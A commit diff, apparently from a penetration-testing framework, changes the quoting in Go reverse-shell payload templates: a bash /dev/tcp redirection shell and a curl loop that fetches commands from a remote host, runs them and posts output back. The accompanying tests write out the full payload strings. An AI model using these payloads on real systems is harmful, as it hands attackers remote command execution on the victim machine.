Switch HTTP bash loop to double quotes for consistent nesting

Author: terrorbyte

payload/reverse/bash.go

@@ -7,7 +7,7 @@ import (
 const (
 	BashDefault        = BashTCPRedirection
 	BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`
-	BashHTTPShellLoop  = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H'VC-Auth: %s' %s://%s:%d || exit)")" %s-H'VC-Auth: %s' %s://%s:%d/rx ||exit;sleep 1;done'`
+	BashHTTPShellLoop  = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H"VC-Auth: %s" %s://%s:%d || exit)")" %s-H"VC-Auth: %s" %s://%s:%d/rx ||exit;sleep 1;done'`
 )
 
 // The default payload type for reverse bash utilizes the pseudo-dev networking redirects in default bash.

payload/reverse/reverse_test.go

@@ -27,13 +27,13 @@ func TestBashDefault(t *testing.T) {
 func TestBashHTTPShellLoop(t *testing.T) {
 	payload := reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, true, "vulncheck")
 
-	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H'VC-Auth: vulncheck' https://127.0.0.1:4444 || exit)")" -k -H'VC-Auth: vulncheck' https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
+	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444 || exit)")" -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
 		t.Fatal(payload)
 	}
 
 	payload = reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, false, "vulncheck")
 
-	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H'VC-Auth: vulncheck' http://127.0.0.1:4444 || exit)")" -H'VC-Auth: vulncheck' http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
+	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H"VC-Auth: vulncheck" http://127.0.0.1:4444 || exit)")" -H"VC-Auth: vulncheck" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
 		t.Fatal(payload)
 	}